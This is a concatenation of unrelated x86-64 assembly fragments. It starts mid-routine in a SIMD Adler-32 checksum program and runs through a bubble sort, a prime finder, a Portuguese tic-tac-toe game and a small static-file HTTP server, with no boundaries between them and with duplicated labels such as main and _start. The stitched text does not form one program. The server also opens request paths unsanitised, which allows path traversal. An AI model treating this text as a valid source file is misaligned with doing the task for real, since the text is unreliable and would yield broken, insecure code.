mod0xFFF1 r9, 47, esi, ax
|
|
|
|
pslld xmm13, 5
|
|
movdqa xmm2, xmm4
|
|
pmaddwd xmm2, xmm8
|
|
paddd xmm2, xmm13
|
|
pmaddwd xmm11, xmm7
|
|
paddd xmm2, xmm11
|
|
pmaddwd xmm10, xmm6
|
|
paddd xmm2, xmm10
|
|
pmaddwd xmm9, xmm5
|
|
paddd xmm2, xmm9
|
|
|
|
pshufd xmm0, xmm2, 0x31
|
|
paddd xmm0, xmm2
|
|
pshufd xmm2, xmm0, 0x2
|
|
paddd xmm0, xmm2
|
|
movd eax, xmm0
|
|
add eax, edi
|
|
mod0xFFF1 r9, 47, eax, dx
|
|
|
|
; Loop while there is data left.
|
|
cmp r8, rcx
|
|
jne .chunk_loop
|
|
.process_remaining:
|
|
; Check if the input pointer has reached the end already.
|
|
cmp r10, rcx
|
|
je .terminate
|
|
.process_bytewise:
|
|
; The contents of this loop are mirrored in the bytewise checksumming part to get a chunk of aligned data.
|
|
movzx edx, BYTE [rcx]
|
|
inc rcx
|
|
add esi, edx
|
|
add eax, esi
|
|
cmp r10, rcx
|
|
jne .process_bytewise
|
|
; The process of computing the remainder of the high and low parts by 0xFFF1. Explanation below.
|
|
mov edi, 0x80078071
|
|
mod0xFFF1 rdi, 47, esi, dx
|
|
mod0xFFF1 rdi, 47, eax, dx
|
|
.terminate:
|
|
; Glue together eax and esi (respectively higher and lower bits of the resulting checksum) and yield the result.
|
|
sal eax, 16
|
|
or eax, esi
|
|
ret
|
|
.recheck_alignment:
|
|
; Check lowest two bits of the input pointer to determine whether it's aligned to 16 bits.
|
|
test cl, 15
|
|
je .now_aligned
|
|
.unaligned:
|
|
; Process unaligned data. Perform byte-wise checksumming until alignment is reached.
|
|
; low += *input++.
|
|
movzx edx, BYTE [rcx]
|
|
inc rcx
|
|
add esi, edx
|
|
; high += low
|
|
add eax, esi
|
|
cmp r10, rcx
|
|
jne .recheck_alignment
|
|
.now_aligned:
|
|
; Compute the remainder of the high and low parts of the checksum when dividing by 0xFFF1.
|
|
mov edi, 0x80078071
|
|
mod0xFFF1 rdi, 47, esi, dx
|
|
mod0xFFF1 rdi, 47, eax, dx
|
|
; The data is aligned now.
|
|
jmp .aligned
|
|
|
|
.V32: dw 32, 31, 30, 29, 28, 27, 26, 25
|
|
.V24: dw 24, 23, 22, 21, 20, 19, 18, 17
|
|
.V16: dw 16, 15, 14, 13, 12, 11, 10, 9
|
|
.V8: dw 8, 7, 6, 5, 4, 3, 2, 1
|
|
|
|
; stat structure buffer.
|
|
sb: times 144 db 0
|
|
|
|
; System interface on x64 Linux works as follows:
|
|
; eax - syscall_number
|
|
; Parameters:
|
|
; 1st 2nd 3rd 4th 5th 6th
|
|
; rdi rsi rdx r10 r8 r9
|
|
|
|
; The system call numbers (eax values) used by the driver code.
|
|
open equ 2
|
|
mmap equ 9
|
|
fstat equ 5
|
|
exit equ 60
|
|
write equ 1
|
|
|
|
; The entry point to test the checksum algorithm.
|
|
; The application takes a single CLI argument with the file to checksum.
|
|
_start:
|
|
; Section 3.4.1 of the ABI document (Initial Stack and Register State) contains figure 3.9,
|
|
; which is a table describing initial stack layout. According to the the layout, the top of the stack
|
|
; is the argument count, followed by pointers to argument strings. As I am not interested in the argument
|
|
; count and the first argument, I pop them off. The remaining element is the file name and it's saved in
|
|
; rdi, which will be used for a syscall soon.
|
|
pop rdi
|
|
pop rdi
|
|
pop rdi
|
|
; open($rdi, O_RDWR); O_RDWR = open = 2
|
|
mov eax, open
|
|
mov esi, eax
|
|
syscall
|
|
; Preserve the file descriptor over the fstat call.
|
|
push rax
|
|
; fstat($eax, sb) to query the file size
|
|
mov esi, sb
|
|
mov rdi, rax
|
|
mov eax, fstat
|
|
syscall
|
|
; mmap(0, *(uint64_t *) sb + 48, PROT_READ = 1, MAP_SHARED = 1, fd, 0)
|
|
; Note: Offset 48 into the stat structure is the file size, but since FASM does not supply
|
|
; POSIX headers, I had to perform this calculation myself. Check `man 2 lstat`.
|
|
pop r8
|
|
xor r9d, r9d
|
|
xor edi, edi
|
|
mov eax, mmap
|
|
mov edx, 1
|
|
mov r10d, edx
|
|
mov rsi, [sb + 48]
|
|
syscall
|
|
; Compute the adler32 checksum.
|
|
mov rdx, rsi
|
|
mov rcx, rax
|
|
xor eax, eax
|
|
mov edi, 1
|
|
call adler32
|
|
; Stringify the checksum to decimal.
|
|
; XXX: This code could be modified to display the checksum in hexadecimal or as-is, as binary data.
|
|
; Reserve a 16 byte buffer on the stack.
|
|
mov rbp, rsp
|
|
sub rbp, 16
|
|
mov edi, 10
|
|
mov esi, eax
|
|
mov rcx, 14
|
|
.stringify_loop:
|
|
; Load the input number to eax.
|
|
mov eax, esi
|
|
xor edx, edx
|
|
; eax = eax / edi
|
|
; edx = eax % edi
|
|
div edi
|
|
; Add 48 (ASCII 0) to turn the remainder into a digit.
|
|
add edx, 48
|
|
; Store the digit in the output buffer.
|
|
mov BYTE [rbp + rcx], dl
|
|
; Preserve the previous value and replace it with the new one.
|
|
mov edx, esi
|
|
mov esi, eax
|
|
; Preserve the counter and decrement it.
|
|
mov rax, rcx
|
|
dec rcx
|
|
; Loop if the previous value is > 9 (=> if there are more digits left).
|
|
cmp edx, 9
|
|
ja .stringify_loop
|
|
; Otherwise: print the value.
|
|
; write(1, buf + rax, 16 - rax)
|
|
lea rsi, [rbp + rax]
|
|
xor edi, edi
|
|
inc edi
|
|
mov edx, 16
|
|
sub edx, eax
|
|
mov eax, write
|
|
syscall
|
|
; Quit the program. `ret` obviously won't work.
|
|
mov eax, exit
|
|
syscall
|
|
|
|
main:
|
|
push RBP
|
|
|
|
mov RAX, 0
|
|
mov RCX, 0
|
|
mov RBX, 0
|
|
|
|
INPUT_ARRAY:
|
|
cmp RCX, 5
|
|
jz DONE
|
|
mov [cnt], RCX
|
|
mov RAX, 0
|
|
mov RDI, fmt_in
|
|
mov RSI, a
|
|
call scanf
|
|
mov RAX, [a]
|
|
mov RCX, [cnt]
|
|
mov [array+RCX*8], RAX
|
|
mov [array2+RCX*8], RAX
|
|
add RBX, [a]
|
|
inc RCX
|
|
jmp INPUT_ARRAY
|
|
|
|
DONE:
|
|
mov RAX, 0
|
|
mov RCX, 0
|
|
mov RBX, 0
|
|
|
|
OUTER_LOOP:
|
|
cmp RCX, 5
|
|
jge END_LOOP
|
|
mov [cnt], RCX
|
|
mov RAX, [array+RCX*8]
|
|
|
|
INNER_LOOP:
|
|
inc RCX
|
|
cmp RCX, 5
|
|
jz OK
|
|
cmp RAX, [array+RCX*8]
|
|
jle INNER_LOOP
|
|
xchg RAX, [array+RCX*8]
|
|
jmp INNER_LOOP
|
|
|
|
OK:
|
|
mov RCX, [cnt]
|
|
mov [array+RCX*8], RAX
|
|
inc RCX
|
|
jmp OUTER_LOOP
|
|
|
|
END_LOOP:
|
|
mov RAX, 0
|
|
mov RBX, 0
|
|
mov RCX, 0
|
|
mov RDI, fmt_out
|
|
call printf
|
|
mov RAX, 0
|
|
mov RBX, 0
|
|
mov RCX, 0
|
|
|
|
PRINT_ARRAY:
|
|
cmp RCX, 5
|
|
jz END
|
|
mov RAX, [array+RCX*8]
|
|
inc RCX
|
|
mov [cnt], RCX
|
|
mov RDI, fmt
|
|
mov RSI, RAX
|
|
call printf
|
|
mov RCX, [cnt]
|
|
jmp PRINT_ARRAY
|
|
|
|
END:
|
|
mov RAX, 0
|
|
pop RBP
|
|
ret
|
|
|
|
|
|
main:
|
|
push RBP
|
|
|
|
mov RAX, 0
|
|
mov RSI, a
|
|
mov RDI, fmt_in
|
|
call scanf
|
|
|
|
mov RAX, 0
|
|
mov RSI, b
|
|
mov RDI, fmt_in
|
|
call scanf
|
|
|
|
OUTER_LOOP:
|
|
mov RCX, [a]
|
|
cmp RCX, [b]
|
|
jg END_OUTER_LOOP
|
|
|
|
mov RAX, 0
|
|
mov RCX, 2
|
|
mov RBX, 0
|
|
|
|
mov RAX , [a]
|
|
cmp RAX, 2
|
|
je PRIME
|
|
cmp RAX, 1
|
|
je PRIME
|
|
|
|
WHILE:
|
|
mov RAX, [a]
|
|
mov RDX, 0
|
|
mov RBX, RCX
|
|
idiv RBX
|
|
cmp RDX, 0
|
|
jz NOT_PRIME
|
|
inc RCX
|
|
cmp RCX, [a]
|
|
jz PRIME
|
|
jmp WHILE
|
|
|
|
PRIME:
|
|
mov RCX, [size]
|
|
mov RAX, [a]
|
|
mov [array + RCX*8], RAX
|
|
inc RCX
|
|
mov [size], RCX
|
|
mov RCX, [a]
|
|
inc RCX
|
|
mov [a], RCX
|
|
jmp OUTER_LOOP
|
|
|
|
NOT_PRIME:
|
|
mov RCX, [a]
|
|
inc RCX
|
|
mov [a], RCX
|
|
jmp OUTER_LOOP
|
|
|
|
END_OUTER_LOOP:
|
|
mov RAX, 0
|
|
mov RBX, 0
|
|
mov RCX, 0
|
|
mov RDI, fmt_out2
|
|
call printf
|
|
mov RAX, 0
|
|
mov RBX, 0
|
|
mov RCX, 0
|
|
|
|
PRINT_ARRAY:
|
|
cmp RCX, [size]
|
|
jz LAST
|
|
test RCX, 1
|
|
jz INC_ODD
|
|
jmp INC_EVEN
|
|
DONE:
|
|
mov RAX, [array+RCX*8]
|
|
inc RCX
|
|
mov [cnt], RCX
|
|
mov RDI, fmt_out
|
|
mov RSI, RAX
|
|
call printf
|
|
mov RDI, spc
|
|
call printf
|
|
mov RCX, [cnt]
|
|
jmp PRINT_ARRAY
|
|
|
|
INC_ODD:
|
|
mov RAX, [array+RCX*8]
|
|
add RAX, [odd_pos]
|
|
mov [odd_pos], RAX
|
|
jmp DONE
|
|
|
|
INC_EVEN:
|
|
mov RAX, [array+RCX*8]
|
|
add RAX, [even_pos]
|
|
mov [even_pos], RAX
|
|
jmp DONE
|
|
|
|
LAST:
|
|
mov RDI, new_line
|
|
call printf
|
|
mov RAX, [even_pos]
|
|
sub RAX, [odd_pos]
|
|
mov RDI, fmt_out3
|
|
mov RSI, RAX
|
|
call printf
|
|
mov RDI, new_line
|
|
call printf
|
|
mov RAX, 0
|
|
|
|
mov RAX, 0
|
|
pop RBP
|
|
ret
|
|
|
|
section .bss
|
|
key resb 1
|
|
garbage resb 1 ; trash from stdin (\n)
|
|
|
|
section .data
|
|
new_line db 10
|
|
nl_size equ $-new_line
|
|
|
|
game_draw db "_|_|_", 10
|
|
db "_|_|_", 10
|
|
db "_|_|_", 10, 0
|
|
gd_size equ $-game_draw
|
|
|
|
win_flag db 0
|
|
|
|
player db "0", 0
|
|
p_size equ $-player
|
|
|
|
game_over_message db "FIM DE JOGO AMIGOS", 10, 0
|
|
gom_size equ $-game_over_message
|
|
|
|
game_start_message db "JOGO DA VELHA"
|
|
gsm_size equ $-game_start_message
|
|
|
|
player_message db "JOGADOR ", 0
|
|
pm_size equ $-player_message
|
|
|
|
win_message db " GANHOU!", 0
|
|
wm_size equ $-win_message
|
|
|
|
type_message db "ENTRE COM UMA POSICAO NO TABULEIRO: ", 0
|
|
tm_size equ $-type_message
|
|
|
|
clear_screen_ASCII_escape db 27,"[H",27,"[2J" ; <ESC> [H <ESC> [2J
|
|
cs_size equ $-clear_screen_ASCII_escape
|
|
|
|
section .text
|
|
global _start
|
|
|
|
_start:
|
|
nop
|
|
main_loop:
|
|
call clear_screen
|
|
|
|
mov rsi, game_start_message
|
|
mov rdx, gsm_size
|
|
call print
|
|
|
|
mov rsi, new_line
|
|
mov rdx, nl_size
|
|
call print
|
|
|
|
mov rsi, player_message
|
|
mov rdx, pm_size
|
|
call print
|
|
|
|
mov rsi, player
|
|
mov rdx, p_size
|
|
call print
|
|
|
|
mov rsi, new_line
|
|
mov rdx, nl_size
|
|
call print
|
|
|
|
mov rsi, game_draw
|
|
mov rdx, gd_size
|
|
|
|
call print
|
|
|
|
mov rsi, new_line
|
|
mov rdx, nl_size
|
|
call print
|
|
|
|
mov rsi, type_message
|
|
mov rdx, tm_size
|
|
call print
|
|
|
|
.repeat_read:
|
|
call read_keyboard ; Vamos ler a posição que o usuário vai passar
|
|
|
|
cmp rax, 0
|
|
je .repeat_read
|
|
|
|
mov al, [key]
|
|
sub al, 48 ; 48 equivale a "0" em ASCII, eu faço essa subtração porque eu quero converter ASCII para inteiro
|
|
|
|
call update_draw
|
|
|
|
call check
|
|
|
|
cmp byte[win_flag], 1
|
|
je game_over
|
|
|
|
call change_player
|
|
|
|
jmp main_loop
|
|
|
|
change_player:
|
|
|
|
xor byte[player], 1 ; Tipo um xor swap :)
|
|
|
|
ret
|
|
|
|
print:
|
|
mov rax, 1
|
|
mov rdi, 1
|
|
syscall
|
|
ret
|
|
|
|
read_keyboard:
|
|
mov rax, 0
|
|
mov rdi, 0
|
|
mov rsi, key
|
|
mov rdx, 1
|
|
syscall
|
|
|
|
cmp byte[key], 0x0A
|
|
jz read_end
|
|
|
|
mov rdi, 0
|
|
mov rsi, garbage
|
|
mov rdx, 1
|
|
|
|
flush_loop:
|
|
mov rax, 0
|
|
syscall
|
|
|
|
cmp byte[garbage], 0x0A
|
|
jz read_end
|
|
jmp flush_loop
|
|
|
|
read_end:
|
|
|
|
ret
|
|
|
|
clear_screen:
|
|
mov rsi, clear_screen_ASCII_escape
|
|
mov rdx, cs_size
|
|
call print
|
|
ret
|
|
|
|
update_draw:
|
|
|
|
cmp rax, 1
|
|
je first_pos
|
|
|
|
cmp rax, 2
|
|
je second_pos
|
|
|
|
cmp rax, 3
|
|
je third_pos
|
|
|
|
cmp rax, 4
|
|
je fourth_pos
|
|
|
|
cmp rax, 5
|
|
je fifith_pos
|
|
|
|
cmp rax, 6
|
|
je sixth_pos
|
|
|
|
cmp rax, 7
|
|
je seventh_pos
|
|
|
|
cmp rax, 8
|
|
je eighth_pos
|
|
|
|
cmp rax, 9
|
|
je nineth_pos
|
|
|
|
jmp end_update
|
|
|
|
first_pos:
|
|
mov rax, 0
|
|
jmp continue_update
|
|
|
|
second_pos:
|
|
mov rax, 2
|
|
jmp continue_update
|
|
|
|
third_pos:
|
|
mov rax, 4
|
|
jmp continue_update
|
|
|
|
fourth_pos:
|
|
mov rax, 6
|
|
jmp continue_update
|
|
|
|
fifith_pos:
|
|
mov rax, 8
|
|
jmp continue_update
|
|
|
|
sixth_pos:
|
|
mov rax, 10
|
|
jmp continue_update
|
|
|
|
seventh_pos:
|
|
mov rax, 12
|
|
jmp continue_update
|
|
|
|
eighth_pos:
|
|
mov rax, 14
|
|
jmp continue_update
|
|
|
|
nineth_pos:
|
|
mov rax, 16
|
|
jmp continue_update
|
|
|
|
continue_update:
|
|
|
|
lea rbx, [game_draw + rax]
|
|
|
|
mov rsi, player
|
|
|
|
cmp byte[rsi], "0"
|
|
je draw_x
|
|
|
|
cmp byte[rsi], "1"
|
|
je draw_o
|
|
|
|
draw_x:
|
|
mov cl, "x"
|
|
jmp update
|
|
|
|
draw_o:
|
|
mov cl, "o"
|
|
jmp update
|
|
|
|
update:
|
|
mov [rbx], cl
|
|
|
|
end_update:
|
|
|
|
ret
|
|
|
|
check:
|
|
call check_line
|
|
ret
|
|
|
|
check_line:
|
|
|
|
mov rcx, 0
|
|
|
|
check_line_loop:
|
|
cmp rcx, 0
|
|
je first_line
|
|
|
|
cmp rcx, 1
|
|
je second_line
|
|
|
|
cmp rcx, 2
|
|
je third_line
|
|
|
|
call check_column
|
|
ret
|
|
|
|
first_line:
|
|
mov rsi, 0
|
|
jmp do_check_line
|
|
|
|
second_line:
|
|
mov rsi, 6
|
|
jmp do_check_line
|
|
|
|
third_line:
|
|
mov rsi, 12
|
|
jmp do_check_line
|
|
|
|
do_check_line:
|
|
inc rcx
|
|
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
mov al, [ebx]
|
|
cmp al, "_"
|
|
je check_line_loop
|
|
|
|
add rsi, 2
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
cmp al, [rbx]
|
|
jne check_line_loop
|
|
|
|
add rsi, 2
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
cmp al, [rbx]
|
|
jne check_line_loop
|
|
|
|
mov byte[win_flag], 1
|
|
ret
|
|
|
|
check_column:
|
|
mov rcx, 0
|
|
|
|
check_colum_loop:
|
|
cmp rcx, 0
|
|
je first_column
|
|
|
|
cmp rcx, 1
|
|
je second_column
|
|
|
|
cmp rcx, 2
|
|
je third_column
|
|
|
|
call check_diagonal
|
|
ret
|
|
|
|
first_column:
|
|
mov rsi, 0
|
|
jmp do_check_column
|
|
|
|
second_column:
|
|
mov rsi, 2
|
|
jmp do_check_column
|
|
|
|
third_column:
|
|
mov rsi, 4
|
|
jmp do_check_column
|
|
|
|
do_check_column:
|
|
inc rcx
|
|
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
mov al, [rbx]
|
|
cmp al, "_"
|
|
je check_colum_loop
|
|
|
|
add rsi, 6
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
cmp al, [rbx]
|
|
jne check_colum_loop
|
|
|
|
add rsi, 6
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
cmp al, [rbx]
|
|
jne check_colum_loop
|
|
|
|
mov byte[win_flag], 1
|
|
ret
|
|
|
|
check_diagonal:
|
|
mov rcx, 0
|
|
|
|
check_diagonal_loop:
|
|
cmp rcx, 0
|
|
je first_diagonal
|
|
|
|
cmp rcx, 1
|
|
je second_diagonal
|
|
|
|
ret
|
|
|
|
first_diagonal:
|
|
mov rsi, 0
|
|
mov rdx, 8 ; tamanho do pulo que vamos dar para o meio da diagonal
|
|
jmp do_check_diagonal
|
|
|
|
second_diagonal:
|
|
mov rsi, 4
|
|
mov rdx, 4
|
|
jmp do_check_diagonal
|
|
|
|
do_check_diagonal:
|
|
inc rcx
|
|
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
mov al, [rbx]
|
|
cmp al, "_"
|
|
je check_diagonal_loop
|
|
|
|
add rsi, rdx
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
cmp al, [rbx]
|
|
jne check_diagonal_loop
|
|
|
|
add rsi, rdx
|
|
lea rbx, [game_draw + rsi]
|
|
|
|
cmp al, [rbx]
|
|
jne check_diagonal_loop
|
|
|
|
mov byte[win_flag], 1
|
|
ret
|
|
|
|
game_over:
|
|
call clear_screen
|
|
|
|
mov rsi, game_start_message
|
|
mov rdx, gsm_size
|
|
call print
|
|
|
|
mov rsi, new_line
|
|
mov rdx, nl_size
|
|
call print
|
|
|
|
mov rsi, game_draw
|
|
mov rdx, gd_size
|
|
call print
|
|
|
|
mov rsi, new_line
|
|
mov rdx, nl_size
|
|
call print
|
|
|
|
mov rsi, game_over_message
|
|
mov rdx, gom_size
|
|
call print
|
|
|
|
mov rsi, player_message
|
|
mov rdx, pm_size
|
|
call print
|
|
|
|
mov rsi, player
|
|
mov rdx, p_size
|
|
call print
|
|
|
|
mov rsi, win_message
|
|
mov rdx, wm_size
|
|
call print
|
|
|
|
jmp fim
|
|
|
|
fim:
|
|
mov rax, 60
|
|
mov rdi, 0
|
|
syscall
|
|
|
|
; void send_http_200(int contentfd, int sockfd)
|
|
; send http 200 response with with content from given file to given socket
|
|
send_http_200:
|
|
push rdi
|
|
push rsi
|
|
push r8
|
|
push r9
|
|
|
|
; get file size
|
|
mov r8, rdi ; save fd
|
|
mov r9, rsi ; save sockfd
|
|
|
|
; fd at rdi
|
|
mov rsi, file_stat ; pass *buf
|
|
call sys_fstat ; 0 on success
|
|
; error is unlikely
|
|
mov rax, [file_stat + stat.st_size]
|
|
mov [content_len], rax ; save content length
|
|
|
|
; allocate buffer for response
|
|
call current_heap_addr
|
|
push rax ; save current heap addr
|
|
|
|
mov rdi, [content_len] ; pass size
|
|
call alloc_response_buffer
|
|
|
|
pop rax ; get ptr to beginning of allocated buf
|
|
mov [response_buf_ptr], rax ; save response buffer pointer
|
|
|
|
; HACK Adding pad for using this buffer to construct response later
|
|
add rax, RESPONSE_HEADER_CAP
|
|
mov [content_buf_ptr], rax ; save content buffer pointer
|
|
|
|
; read content
|
|
mov rdi, r8 ; pass fd
|
|
mov rsi, rax ; pass *buf
|
|
mov rdx, [content_len] ; pass count
|
|
call read_file
|
|
|
|
; make response
|
|
mov rdi, [response_buf_ptr] ; pass *buf
|
|
mov rsi, [content_buf_ptr] ; pass *content
|
|
call construct_http_200 ; http 200 response
|
|
|
|
; send response
|
|
call slen ; calculate length of response
|
|
mov rdx, rax ; pass length
|
|
mov rsi, [response_buf_ptr] ; pass *message
|
|
mov rdi, r9 ; pass socket
|
|
call send
|
|
|
|
; free buffer
|
|
call sys_brk
|
|
|
|
pop r9
|
|
pop r8
|
|
pop rsi
|
|
pop rdi
|
|
|
|
ret
|
|
|
|
|
|
send_http_404:
|
|
push rsi
|
|
push rdx
|
|
|
|
; socket in rdi
|
|
mov rsi, http_404 ; pass message
|
|
mov rdx, http_404_len ; pass length
|
|
call send
|
|
|
|
pop rdx
|
|
pop rsi
|
|
|
|
ret
|
|
|
|
|
|
; void construct_http_200(char* buf, char* content)
|
|
; construct http 200 response in buf
|
|
construct_http_200:
|
|
push r8
|
|
push r9
|
|
|
|
mov r8, rdi ; save *buf
|
|
mov r9, rsi ; save *content
|
|
|
|
mov rsi, http_200
|
|
call strcat ; status
|
|
|
|
mov rsi, cont_length
|
|
call strcat ; content length label
|
|
|
|
mov rdi, r9 ; pass *content
|
|
call slen ; calculate length of content
|
|
mov rdi, rax ; pass num
|
|
mov rsi, content_len_buf ; pass *buf
|
|
call itoa ; convert content length to string
|
|
mov rdi, r8
|
|
mov rsi, content_len_buf
|
|
call strcat ; content length
|
|
|
|
mov rdi, r8
|
|
mov rsi, cr_lf
|
|
call strcat
|
|
call strcat ; cr_lf
|
|
|
|
mov rsi, r9
|
|
call strcat ; content
|
|
|
|
pop r9
|
|
pop r8
|
|
|
|
ret
|
|
|
|
|
|
; bool is_get_request(char* request)
|
|
; 1 if request is GET, 0 if not
|
|
is_get_request:
|
|
mov ax, 0 ; false
|
|
|
|
cmp byte[rdi+0], 'G'
|
|
jne .exit
|
|
cmp byte[rdi+1], 'E'
|
|
jne .exit
|
|
cmp byte[rdi+2], 'T'
|
|
jne .exit
|
|
|
|
mov ax, 1 ; true
|
|
.exit:
|
|
ret
|
|
|
|
|
|
; char* alloc_response_buffer(int size)
|
|
; allocate buffer for response body + head and get buffer's address
|
|
alloc_response_buffer:
|
|
push rdi
|
|
|
|
add rdi, RESPONSE_HEADER_CAP ; add header size
|
|
call mem_alloc ; new heap addr on success
|
|
|
|
cmp rax, 0
|
|
jge .exit
|
|
mov rdi, err_msg_alloc
|
|
jmp error ; exit with error
|
|
.exit:
|
|
pop rdi
|
|
|
|
ret
|
|
|
|
|
|
; HACK Places terminating zero at the end of resource path
|
|
; char* extract_resource_path(char* request)
|
|
; returns pointer to the resource path
|
|
extract_resource_path:
|
|
push rdi
|
|
|
|
add rdi, 5 ; skip "GET /"
|
|
mov rax, rdi ; save beginning
|
|
.loop:
|
|
cmp byte[rdi], ' ' ; check if space
|
|
je .place_zero
|
|
inc rdi ; next char
|
|
jmp .loop ; loop
|
|
.place_zero:
|
|
mov byte[rdi], 0x00
|
|
|
|
pop rdi
|
|
|
|
ret
|
|
|
|
|
|
SECTION .bss
|
|
|
|
response_buf_ptr resq 1
|
|
content_buf_ptr resq 1
|
|
content_len resq 1
|
|
content_len_buf resb 19
|
|
|
|
|
|
SECTION .rodata
|
|
|
|
http_200 db "HTTP/1.1 200 OK",0x0d,0x0a,0x00
|
|
http_200_len equ $ - http_200 - 1
|
|
http_404 db "HTTP/1.1 404 Not Found",0x0d,0x0a,0x00
|
|
http_404_len equ $ - http_404 - 1
|
|
|
|
; constants
|
|
%define BACKLOG 8
|
|
%define REQUEST_BUF_CAP 2048
|
|
%define RESPONSE_HEADER_CAP 2048
|
|
|
|
%include "http.asm"
|
|
%include "net.asm"
|
|
%include "os.asm"
|
|
%include "print.asm"
|
|
%include "string.asm"
|
|
%include "syscall.asm"
|
|
|
|
SECTION .text
|
|
|
|
global _start
|
|
_start:
|
|
; clear registers
|
|
xor rax, rax
|
|
xor rdi, rdi
|
|
xor rsi, rsi
|
|
xor rdx, rdx
|
|
|
|
handle_arguments:
|
|
pop r8 ; pop number of arguments
|
|
cmp r8, 3 ; check arguments count is good
|
|
je .get_arguments
|
|
|
|
mov rdi, help_msg ; print the help and exit otherwise
|
|
call println
|
|
jmp exit_failure
|
|
|
|
.get_arguments:
|
|
pop r8 ; discard binary name
|
|
|
|
pop rdi ; listening port
|
|
call atoi ; convert to integer
|
|
xchg ah, al ; change byte order to big endian
|
|
mov [list_sock_port], rax ; save listening port
|
|
|
|
pop rdi ; serving directory
|
|
|
|
.change_directory:
|
|
call sys_chdir ; 0 on success
|
|
cmp rax, 0
|
|
je .continue
|
|
mov rdi, err_msg_dir
|
|
jmp error ; exit with error
|
|
.continue:
|
|
|
|
|
|
create_socket:
|
|
mov rdi, AF_INET ; pass domain (0x02)
|
|
mov rsi, SOCK_STREAM ; pass type (0x01)
|
|
mov rdx, IPPROTO_TCP ; pass protocol (0x06)
|
|
call sys_socket ; list_sockfd in rax on success
|
|
|
|
; error info
|
|
cmp rax, 0
|
|
jge .continue
|
|
mov rdi, err_msg_socket
|
|
jmp error ; exit with error
|
|
.continue:
|
|
|
|
set_sock_opt:
|
|
mov [list_sock], rax ; save list_sockfd
|
|
mov rdi, rax ; pass socket
|
|
mov rsi, 0x01 ; pass level (SOL_SOCKET)
|
|
mov rdx, 0x02 ; pass option_name (SO_REUSEADDR)
|
|
mov r10, sock_addr ; pass option_value
|
|
mov r8, sockaddr_in_size ; pass option_len (size of sock_addr)
|
|
call sys_setsockopt ; 0 in rax on success
|
|
|
|
; error info
|
|
cmp rax, 0
|
|
je .continue
|
|
mov rdi, err_msg_socket_opt
|
|
jmp error ; exit with error
|
|
.continue:
|
|
|
|
bind:
|
|
mov rsi, [list_sock_port]
|
|
mov [sock_addr+sin_port], rsi ; set port
|
|
|
|
mov rdi, [list_sock] ; pass list_sockfd
|
|
mov rsi, sock_addr ; pass *addr
|
|
mov rdx, sockaddr_in_size ; pass addrlen (size of sock_addr)
|
|
call sys_bind ; 0 in rax on success
|
|
|
|
; error info
|
|
cmp rax, 0
|
|
je .continue
|
|
mov rdi, err_msg_bind
|
|
jmp error ; exit with error
|
|
.continue:
|
|
|
|
listen:
|
|
mov rdi, [list_sock] ; pass list_sockfd
|
|
mov rsi, BACKLOG ; pass backlog (max len of queue of pending conns)
|
|
call sys_listen ; 0 in rax on success
|
|
|
|
cmp rax, 0
|
|
je .continue
|
|
call sys_close ; close socket
|
|
mov rdi, err_msg_listen
|
|
jmp error ; exit with error
|
|
.continue:
|
|
|
|
accept:
|
|
mov rdi, [list_sock] ; pass list_sockfd
|
|
mov rsi, 0x00 ; pass addr (NULL)
|
|
mov rdx, 0x00 ; pass addrlen (size of sockaddr) (NULL)
|
|
call sys_accept ; accepted socket's fd in rax on success
|
|
|
|
cmp rax, 0
|
|
jge .continue
|
|
mov rdi, err_msg_accept
|
|
jmp error ; exit with error
|
|
.continue:
|
|
mov r12, rax ; save acc_sockfd
|
|
|
|
read_request:
|
|
mov rdi, r12 ; pass acc_sockfd
|
|
mov rsi, request_buf ; pass *buf
|
|
mov rdx, REQUEST_BUF_CAP ; pass count
|
|
call sys_read ; bytes read on success
|
|
|
|
cmp rax, 0
|
|
jge .continue
|
|
mov rdi, err_msg_read_req
|
|
jmp error ; exit with error
|
|
.continue:
|
|
|
|
check_request_is_get:
|
|
mov rdi, request_buf ; pass *request
|
|
call is_get_request
|
|
cmp rax, 0 ; if not GET then don't response
|
|
jz listen
|
|
|
|
get_file_path:
|
|
mov rdi, request_buf ; pass *request
|
|
call extract_resource_path
|
|
|
|
cmp byte[rax], 0 ; if standard file path (points at term zero)
|
|
jnz .continue
|
|
mov rax, index_file ; response with index
|
|
.continue:
|
|
|
|
open_response_file:
|
|
mov rdi, rax ; pass *pathname
|
|
mov rsi, 0 ; O_RDONLY
|
|
call sys_open ; fd on success
|
|
|
|
; error info
|
|
cmp rax, 0
|
|
jl response_404 ; response 404 if can't open file
|
|
|
|
response_200:
|
|
mov rdi, rax ; pass contentfd
|
|
mov rsi, r12 ; pass sockfd
|
|
call send_http_200
|
|
jmp close_socket
|
|
|
|
response_404:
|
|
mov rdi, r12 ; pass sockfd
|
|
call send_http_404
|
|
|
|
close_socket:
|
|
mov rdi, r12 ; pass fd
|
|
call sys_close ; close socket
|
|
|
|
cmp rax, 0
|
|
je .continue
|
|
mov rdi, err_msg_close_sock
|
|
jmp error ; exit with error
|
|
.continue:
|
|
jmp accept ; accept loop
|
|
|
|
|
|
error:
|
|
call eprintln
|
|
jmp exit_failure
|
|
|
|
|
|
; exit program and restore resources
|
|
exit_success:
|
|
mov rdi, 0x00 ; EXIT_SUCCESS
|
|
call sys_exit
|
|
|
|
|
|
; exit program with error
|
|
exit_failure:
|
|
mov rdi, 0x01 ; EXIT_FAILURE
|
|
call sys_exit
|
|
|
|
|
|
SECTION .bss
|
|
|
|
list_sock resq 1
|
|
list_sock_port resw 1
|
|
request_buf resb REQUEST_BUF_CAP
|
|
request_buf_len resq 1
|
|
file_stat resb 64
|
|
|
|
|
|
SECTION .data
|
|
|
|
sock_addr: istruc sockaddr_in
|
|
at sin_family, dw AF_INET
|
|
at sin_port, dw 0
|
|
at sin_addr, dd INADDR_ANY
|
|
at sin_zero, dd 0x0000000000000000
|
|
iend
|
|
|
|
|
|
SECTION .rodata
|
|
|
|
help_msg db "asmerver 1.0",0x0a,"nuid64 <lvkuzvesov@proton.me>",0x0a,"Usage: ",0x0a,0x09,"asmerver <port> <served directory>",0x00
|
|
|
|
err_msg_alloc db "Memory allocating completed with error",0x00
|
|
err_msg_dir db "Can't open served directory",0x00
|
|
